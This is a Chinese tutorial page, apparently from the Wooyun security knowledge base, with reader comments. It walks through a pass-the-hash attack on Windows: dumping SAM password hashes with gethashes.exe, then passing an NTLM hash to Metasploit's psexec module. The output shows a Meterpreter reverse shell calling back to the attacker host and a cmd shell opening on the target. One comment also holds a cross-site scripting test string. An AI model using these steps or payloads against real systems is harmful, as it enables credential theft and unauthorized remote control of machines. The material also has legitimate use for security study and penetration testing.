使用Hash直接登录Windows

VIP ·

首先,在本地主机（假设为目标主机）  新建一个wooyun用户,并为之设置密码,然后通过gethashes.exe获取到HASH  

C:\>net user wooyun test 

The command completed successfully. 

C:\>gethashes.exe $local 

1:1007:C2265B23734E0DACAAD3B435B51404EE:69943C5E63B4D2C104DBBCC15138B72B::: 

Administrator:500:0A174C1272FCBCF7804E0502081BA8AE:83F36A86631180CB9F5F53F5F45DF 

B2B::: 

Guest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0::: 

HelpAssistant:1000:CF88594C2AC20629EEF3D6DABD2DA92D:0FCE98570CBB9C14E8FF200353B2 

707B::: 

wooyun:1003:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537::: 

SUPPORT_388945a0:1002:AAD3B435B51404EEAAD3B435B51404EE:F9E8AE6C7229EA07EFAC12715 

F954B83::: 

**vmware_user**:1006:AAD3B435B51404EEAAD3B435B51404EE:915D1CEE456EA4DD6A8094F7CE 

094448::: 

C:\> 
然后我再返回我的BT虚拟机(攻击者主机)使用MSF进行测试，MSF自带的PSEXEC模块具有HASH传递攻击功能  
[email protected]:~# msfconsole 

                ##                          ###           ##    ## 

##  ##  #### ###### ####  #####   #####    ##    ####        ######   


###### # ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##   


###### # ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##   


## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##   


##   ##  #### ###   #####   #####     ##   ####   ####   #### ###   


                                      ## 

       =[ metasploit v3.7.0-release [core:3.7 api:1.0] 

+ \-- -|-=[ 684 exploits - 355 auxiliary 

+ \-- -|-=[ 217 payloads - 27 encoders - 8 nops 

       =[ svn r12536 updated 76 days ago (2011.05.04) 

Warning: This copy of the Metasploit Framework was last updated 76 days ago. 

         We recommend that you update the framework at least every other day. 

         For information on updating your copy of Metasploit, please see: 

             http://www.metasploit.com/redmine/projects/framework/wiki/Updating 

msf > use exploit/windows/smb/psexec 

msf exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec): 

   Name       Current Setting  Required  Description 

   \---|-       \---|\---|\---|\---|\---|  \---|\---|--  \---|\---|\---|-- 

   RHOST                       yes       The target address 

   RPORT      445              yes       Set the SMB service port 

   SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share 

(ADMIN$,C$,...) or a normal read/write folder share 

   SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                              ation 

   SMBPass                     no        The password for the specified username 

   SMBUser                     no        The username to authenticate as 

Exploit target: 

   Id  Name 

   --  \---|- 

   0   Automatic 

msf exploit(psexec) > set RHOST 192.168.0.254 

RHOST => 192.168.0.254 

msf exploit(psexec) > set SMBUser wooyun 

SMBUser => wooyun 

msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                             

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537 

msf exploit(psexec) > show options 

Module options (exploit/windows/smb/psexec): 

   Name       Current Setting                                                                                                  Required 

Description 

   \---|-       \---|\---|\---|\---|\---|                                                                                                  \---|\---|--  \---|-- 

\---|\---| 

   RHOST      192.168.0.254                                                                                                    yes       The 

target address 

   RPORT      445                                                                                                              yes       Set 

the SMB service port 

   SHARE      ADMIN$                                                                                                           yes       The 

share to connect to, can be an admin share (ADMIN$,C$,...) or a n                                              ormal read/write folder share 

   SMBDomain  WORKGROUP                                                                                                        no        The 

Windows domain to use for authentication 

   SMBPass    01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537                                                no        The 

password for the specified username 

   SMBUser    wooyun                                                                                                           no        The 

username to authenticate as 

Exploit target: 

   Id  Name 

   --  \---|- 

   0   Automatic 

msf exploit(psexec) > exploit 

[*] Started reverse handler on 192.168.0.3:4444 </p> 
[</em>] Connecting to the server... 

[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'wooyun'... </p> 
[</em>] Uploading payload... 

[*] Created \UGdecsam.exe... </p> 
[</em>] Binding to 367abb81-9844-35f1-ad32-98f038001003:[email protected]_np:192.168.0.254[\svcctl] ... 

[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:[email protected]_np:192.168.0.254[\svcctl] ... </p> 
[</em>] Obtaining a service manager handle... 

[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")... </p> 
[</em>] Closing service handle... 

[*] Opening service... </p> 
[</em>] Starting the service... 

[*] Removing the service... </p> 
[</em>] Closing service handle... 

[*] Deleting \UGdecsam.exe... </p> 
[</em>] Sending stage (749056 bytes) to 192.168.0.254 

[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800 

meterpreter > sysinfo 

Computer        : WOOYUN-PC 

OS              : Windows XP (Build 2600, Service Pack 2). 

Architecture    : x86 

System Language : zh_CN 

Meterpreter     : x86/win32 

meterpreter > shell 

Process 4596 created. 

Channel 1 created. 

Microsoft Windows XP [Version 5.1.2600] 

(C) Copyright 1985-2001 Microsoft Corp. 

C:\WINDOWS\system32>net user 

net user 

User accounts for \ 

\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|\---|- 

**vmware_user**          1                        Administrator 

Guest                    HelpAssistant            wooyun 

SUPPORT_388945a0 

The command completed with one or more errors. 

C:\WINDOWS\system32> 
至此,我们已经成功获得目标的CMDSHELL

©乌云知识库版权所有 未经许可 禁止转载
收藏

为您推荐了适合您的技术文章:

  1. Meterpreter Guide
  2. metasploit渗透测试笔记(内网渗透篇)
  3. tunna工具使用实例
  4. 得到内网域管理员的5种常见方法


30
hei_yu_fa 2016-03-30 12:37:11

我要把乌云从头到尾翻个遍...然后你这个没看明白

回复
30
枯荣 2015-08-05 16:17:54

我把知识库从发的第一个看下去 然后把洞也都看一遍，留名 win7~不可以~

回复
30
Defa 2014-11-26 19:31:04

[<a href="test" title="]"></a>[" <!-- onmouseover=alert(/v587/)//><!-- -->NOT VULNERABLE<a></a>]

回复
30
Forever80s 2013-09-04 22:17:54

这好像叫hash登录windows系统samba服务器

回复
30
possible 2013-08-06 15:47:36

看着 大牛说的http://lcx.cc/index.asp?i=3257 应该是协议设计允许以hash登录的，正常功能 应该不会有补丁吧？

回复
30
yy520 2013-04-16 00:46:10

实际上，打了补丁的2k3也是不行的

回复
30
南国利剑 2013-04-08 16:11:42

windows 什么版本的 ，win7的 好像不行了都！

回复
30
裙下的秘密 2013-01-06 15:25:52

默认防火墙是开启的连接不上445那 =。=

回复
30
冰锋刺客 2013-01-06 15:10:05

详见: http://lcx.cc/index.asp?i=3257
“在SMB协议中，如果你想进行一次在服务器上的请求认证，你的密码可以以原码或加密后的形式发送到服务器端。如果服务器支持加密属性，客户端必须发送一个应答信号。在negprot应答数据报中，服务器会给客户端发送一个密钥。然后，客户端将密码加密并通过SesssetupX请求数据报发送到服务器端。服务器将会核查密码的有效性，并由此允许或拒绝客户端的访问。你必须知道一个SMB密码(未加密)的最大长度是14位。密钥的长度一般为8位，加密过后的口令长度为24位。在ANSI密码中，密码中的所有位都转换成大写的形式然后再加密。密码是以DEC编码方式进行加密的。”

回复
30
冰锋刺客 2013-01-06 15:00:40

今天又仔细看了一下文章,前4行明显是画蛇添足的
[img src="/upload/image/201301/2013010615002943104.gif" alt=".gif"/]

回复
30
c4bbage 2013-01-06 08:53:39

你搞个6.0及以上的在摆出了

回复
30
w5r2 2012-12-29 10:58:32

继续问

回复
30
冰锋刺客 2012-12-29 01:41:20

@blue 对啊，原理是什么

回复
30
牛奶坦克 2012-12-28 16:30:54

楼上问的好！

回复
30
blue 2012-12-28 16:29:14

技术原理是什么？

回复
30
se55i0n 2012-12-28 16:28:47

占个座，慢慢看~

回复
感谢知乎授权页面模版